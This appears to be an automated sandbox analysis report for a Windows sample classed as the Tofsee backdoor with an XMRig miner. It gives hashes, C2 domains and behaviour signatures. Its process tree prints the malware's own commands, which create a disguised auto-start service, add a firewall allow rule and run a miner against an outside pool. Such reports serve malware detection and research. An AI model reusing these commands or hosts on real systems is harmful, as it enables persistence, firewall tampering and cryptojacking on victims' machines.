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Analysis

  • max time kernel
    141s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    19/09/2023, 22:31

General

  • Target

    file.exe

  • Size

    265KB

  • MD5

    0111f41e24e80b598a7a81c179432920

  • SHA1

    46c775825a4697946c0fd4b3cd6c881f46430748

  • SHA256

    bf15d707efcb789d6433f3701a1aa66b60ef87431d889c1f71bd01304139645c

  • SHA512

    085b08339bd21c71aa9a3c2a8facdacc4345218cd41b120b16a3dd57e8625cfba5e99e9ef46d77475492887d4cd1ee2426c42b6d8b2f4cae6a8730e6316c883f

  • SSDEEP

    3072:yvXXM+XBaPDKv1lLdixovWmoqtH6v+6+waC7NABBVy+Ya:Q3BODKv3dMovWmYv+TwaC7NCVy

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:320
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\oeqcsvnl\
      2⤵
        PID:2456
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dpbgdjiw.exe" C:\Windows\SysWOW64\oeqcsvnl\
        2⤵
          PID:2796
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create oeqcsvnl binPath= "C:\Windows\SysWOW64\oeqcsvnl\dpbgdjiw.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2168
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description oeqcsvnl "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2396
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start oeqcsvnl
          2⤵
          • Launches sc.exe
          PID:2724
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2676
      • C:\Windows\SysWOW64\oeqcsvnl\dpbgdjiw.exe
        C:\Windows\SysWOW64\oeqcsvnl\dpbgdjiw.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2788
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2988
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:676

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\dpbgdjiw.exe

        Filesize

        11.8MB

        MD5

        baaea66f51a1e10097ca799b08833918

        SHA1

        b872e887426dbc8310fe4ed1703b59f5beb802c2

        SHA256

        3705a7984bee3afd83c2a3c35d3b69b8eab75485e642290d617684b68f14dd2b

        SHA512

        32a0cfd69a538b2ff625bc069781faf1553becece374675e53b1d3e7d14be183eeaf54e67142e2802231f503923de3dce2a8885bfb17a499d7997a4daacf3c64

      • C:\Windows\SysWOW64\oeqcsvnl\dpbgdjiw.exe

        Filesize

        11.8MB

        MD5

        baaea66f51a1e10097ca799b08833918

        SHA1

        b872e887426dbc8310fe4ed1703b59f5beb802c2

        SHA256

        3705a7984bee3afd83c2a3c35d3b69b8eab75485e642290d617684b68f14dd2b

        SHA512

        32a0cfd69a538b2ff625bc069781faf1553becece374675e53b1d3e7d14be183eeaf54e67142e2802231f503923de3dce2a8885bfb17a499d7997a4daacf3c64

      • memory/320-9-0x0000000000240000-0x0000000000253000-memory.dmp

        Filesize

        76KB

      • memory/320-3-0x0000000000400000-0x0000000000710000-memory.dmp

        Filesize

        3.1MB

      • memory/320-1-0x0000000000830000-0x0000000000930000-memory.dmp

        Filesize

        1024KB

      • memory/320-7-0x0000000000400000-0x0000000000710000-memory.dmp

        Filesize

        3.1MB

      • memory/320-2-0x0000000000240000-0x0000000000253000-memory.dmp

        Filesize

        76KB

      • memory/676-73-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/676-63-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/676-78-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/676-77-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/676-76-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/676-65-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/676-75-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/676-74-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/2788-11-0x0000000000400000-0x0000000000710000-memory.dmp

        Filesize

        3.1MB

      • memory/2788-17-0x0000000000400000-0x0000000000710000-memory.dmp

        Filesize

        3.1MB

      • memory/2788-10-0x00000000008E0000-0x00000000009E0000-memory.dmp

        Filesize

        1024KB

      • memory/2988-39-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-55-0x0000000005830000-0x0000000005C3B000-memory.dmp

        Filesize

        4.0MB

      • memory/2988-31-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-34-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-36-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-37-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-27-0x0000000001AD0000-0x0000000001CDF000-memory.dmp

        Filesize

        2.1MB

      • memory/2988-40-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-42-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-43-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-45-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-44-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-41-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-38-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-35-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-46-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-54-0x0000000000110000-0x0000000000115000-memory.dmp

        Filesize

        20KB

      • memory/2988-28-0x0000000000080000-0x0000000000086000-memory.dmp

        Filesize

        24KB

      • memory/2988-51-0x0000000000110000-0x0000000000115000-memory.dmp

        Filesize

        20KB

      • memory/2988-50-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-49-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-58-0x0000000005830000-0x0000000005C3B000-memory.dmp

        Filesize

        4.0MB

      • memory/2988-48-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-59-0x0000000000120000-0x0000000000127000-memory.dmp

        Filesize

        28KB

      • memory/2988-47-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

      • memory/2988-24-0x0000000001AD0000-0x0000000001CDF000-memory.dmp

        Filesize

        2.1MB

      • memory/2988-22-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2988-21-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2988-19-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2988-20-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2988-15-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2988-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2988-12-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB